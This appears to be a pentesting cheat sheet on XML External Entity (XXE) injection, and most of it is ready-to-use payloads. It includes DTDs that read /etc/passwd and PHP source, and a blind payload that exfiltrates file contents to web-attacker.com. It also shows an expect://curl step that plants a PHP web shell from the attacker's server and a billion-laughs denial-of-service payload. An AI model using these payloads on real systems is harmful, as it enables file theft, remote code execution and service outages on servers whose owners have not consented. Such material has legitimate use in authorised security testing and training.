XXE

XML External Entity.

It occurs when XML data is taken from user-controlled input without properly sanitizing or securely parsing it, which could allow the user to use XML functionality to perform malicious actions.

Types: In-Band and Blind.

Tools

Tool
Details

ruby XXEinjector.rb --host=<TARGET> --httpport=<PORT> --path=<FILE_TO_READ> --file=<REQ_BURP> --oob=http --phpfilter Take the BurpSuite REQ and enter XXEINJECT as the DTD. Display the outputs in /Logs/<IP>/<PATH_FILE>

DTD (Document Type Definition)

Defines a structure with which to validate the XML document. The DTD can be defined in the document itself (immediately after the first line) or in an external file, and then referenced within the XML document with the SYSTEM keyword.

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE <name> SYSTEM "email.dtd">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "http://<DOMAIN>/<DTD>">

Entities

It is possible to define custom entities (XML variables) in XML DTDs. This can be done with the use of the ENTITY keyword, followed by the entity name and its value. To refer to an external defined entity use &<VARIABLE_NAME>;.

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE <name> [
  <!ENTITY varA "RANDOM">
  <!ENTITY varB SYSTEM "file:///<PATH_FILE>">
  <!ENTITY varC SYSTEM "http://<DOMAIN>/DTD">
]>

Use &varA; &varB; &varC;

Parameter Entities

XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD.

<!DOCTYPE foo [ 
    <!ENTITY % xxe SYSTEM "http://web-attacker.com"> 
    %xxe; 
]>

Use %xxe;

Attacks

Read

If outdated XML libraries are used and no filtering or cleaning is applied on our XML input, we may be able to read local files.

Simple

<!DOCTYPE <field_name_display> [
  <!ENTITY varX SYSTEM "file:///etc/passwd">
]>

Define varX then use it in the field that is displayed (&varX;)

PHP wrapper

Only with PHP web applications. If there are special XML characters in the file (such as < > & or binary) that would break the reference and not be used for the reference.

<!DOCTYPE <field_name_display> [
  <!ENTITY varX SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

CDATA

Other method to extract any type of data (including binary data) for any web application backend. Use the CDATA tag: <![CDATA[ FILE_CONTENT ]]> The XML parser considers this part as raw data.

NOTE
<!DOCTYPE <nome_campo_display> [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file://<FILE>">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>

This will not work, since XML prevents merging internal and external entities.

To bypass use XML Parameter Entities, a special type of entity that begins with %. The special thing about XML Parameter Entities is that if we refer to them from an external source (ex., our server), then they would all be considered external and could be merged.

xxe.dtd
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % pwn "<!ENTITY content '%begin;%file;%end;'>">
sudo python3 -m http.server 8000
<!DOCTYPE <field_name_display> [
  <!ENTITY % xxe SYSTEM "http://<MY_IP>:8000/xxe.dtd"> 
  %xxe;
  %pwn;
]>

Then use &content;

Single item, NO DOCTYPE

If you only control a single item of data that is placed into a server-side XML document and cannot define or modify a DOCTYPE element

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Image SVG

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE avatar [
  <!ENTITY varX SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="10" y="50" font-family="Arial" font-size="8" fill="black">&varX;</text>
</svg>

Error

This method does not require a field to be displayed, but it does require the web application to display runtime errors (e.g., PHP errors), as it does not have adequate exception handling for XML input. In that case, it is possible to use this flaw to read the output of the XXE exploit.

xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
sudo python3 -m http.server 8000
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://<MY_IP>:8000/xxe.dtd"> 
  %xxe;
]>

Blind

Allows you to exfiltrate data without any output fields and without error printing. Try with /etc/hostname which has no newline characters.

xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
sudo python3 -m http.server 8000
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://<MY_IP>:8000/xxe.dtd"> 
  %xxe;
]>

RCE

We can also execute remote code with XXE. Require the PHP expect module to be installed and enabled. Possible to execute commands and display the response in the displayed field or load a web shell on the server. (Beware of characters not allowed)

echo '<?php system($_REQUEST["cmd"]);?>' > shell.php 
sudo python3 -m http.server 80
<!DOCTYPE <field_name> [
  <!ENTITY varX SYSTEM "expect://curl$IFS-O$IFS'<MY_IP>/shell.php'">
]>

DoS

Also possible to perform Denial of Server attacks.

<!DOCTYPE <field_name> [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>

This payload defines entity a0 as DOS, refers to it several times with a1, then refers to a1 with a2, and so on until the memory of the back-end server runs out due to self-reference cycles.

Last updated